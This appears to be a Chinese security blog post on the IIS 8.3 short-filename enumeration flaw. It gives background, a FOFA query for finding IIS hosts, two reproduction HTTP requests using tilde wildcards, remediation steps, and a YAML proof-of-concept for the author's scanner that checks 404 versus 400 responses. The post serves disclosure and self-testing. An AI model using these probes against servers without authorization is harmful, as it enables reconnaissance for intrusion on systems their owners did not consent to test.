IIS短文件名枚举

0x00 前言

个人博客

https://www.birdy02.com

免责声明

文章仅用作网络安全人员对自己网站、服务器等进行自查检测,不可用于其他用途,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作

本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

0x01 产品介绍

iis是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

t01b17fade5c6e8a3ba.png (571×411)

0x02 漏洞描述

Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件。危害:攻击者可以利用“~”字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击。攻击者可通过该漏洞尝试获取网站服务器下存放文件的文件名,达到获取更多信息来入侵服务器的目的。

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。 在Windows下查看对应的短文件名,可以使用命令 dir /x

只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。后缀名最长只有3位,多余的被截断。我们可以在启用.net的IIS下暴力列举短文件名,原因是:

  • 访问构造的某个存在的短文件名,会返回404

  • 访问构造的某个不存在的短文件名,会返回400

0x03 资产梳理

  • FOFA:app="IIS"

0x04 漏洞复现

请求包1

 
GET /*~1*/a.aspx HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Host: xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

响应示例

请求包2

 
GET /ttt*~1*/a.aspx HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Host: xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

响应示例

0x05 修复方案

  • 关闭NTFS 8.3文件格式的支持。该功能默认是开启的,对于大多数用户来说无需开启。

  • 将web文件夹的内容拷贝到另一个位置,比如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www。如果不重新复制,已经存在的短文件名则是不会消失的。

0x06 漏洞检测

林乐天的协助平台

secScript

0x07 POC

product: IIS
vName: IIS 短文件名枚举
type: 解析漏洞
vID: [ ]
level: 2
vDesc: Internet Information Services(IIS,互联网信息服务)是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件。危害:攻击者可以利用“~”字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击。黑客可通过该漏洞尝试获取网站服务器下存放文件的文件名,达到获取更多信息来入侵服务器的目的。
version: ''
note: ''
search:
  FOFA: app="IIS"
protocol: http
link: https://www.birdy02.com/2024/10/02/8a0d92a9-68ef-47cf-b556-0e893063dac3
fix:
  - 关闭NTFS 8.3文件格式的支持。该功能默认是开启的,对于大多数用户来说无需开启。
  - 将web文件夹的内容拷贝到另一个位置,比如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www。如果不重新复制,已经存在的短文件名则是不会消失的。
model: ''
logic: and
exploit:
  - exp:
      method: get
      follow: false
      path: /ttt*~1*/a.aspx
    verify:
      path: ''
      logic: and
      check:
        - status: 400
  - exp:
      method: get
      follow: false
      path: /*~1*/a.aspx
    verify:
      path: ''
      logic: and
      check:
        - status: 404

 关于poc

  1. POC格式为作者自行开发设计,在一次一次实战中更新优化后的结果

  2. 该利用工具暂未开源

  3. 关注 标签:secScript - 林乐天的个人博客这里是林乐天的个人博客,只分享原创技术性文章icon-default.png?t=O83Ahttps://www.birdy02.com/tags/secscript 了解更多

原文地址:IIS短文件名枚举 - 林乐天的个人博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值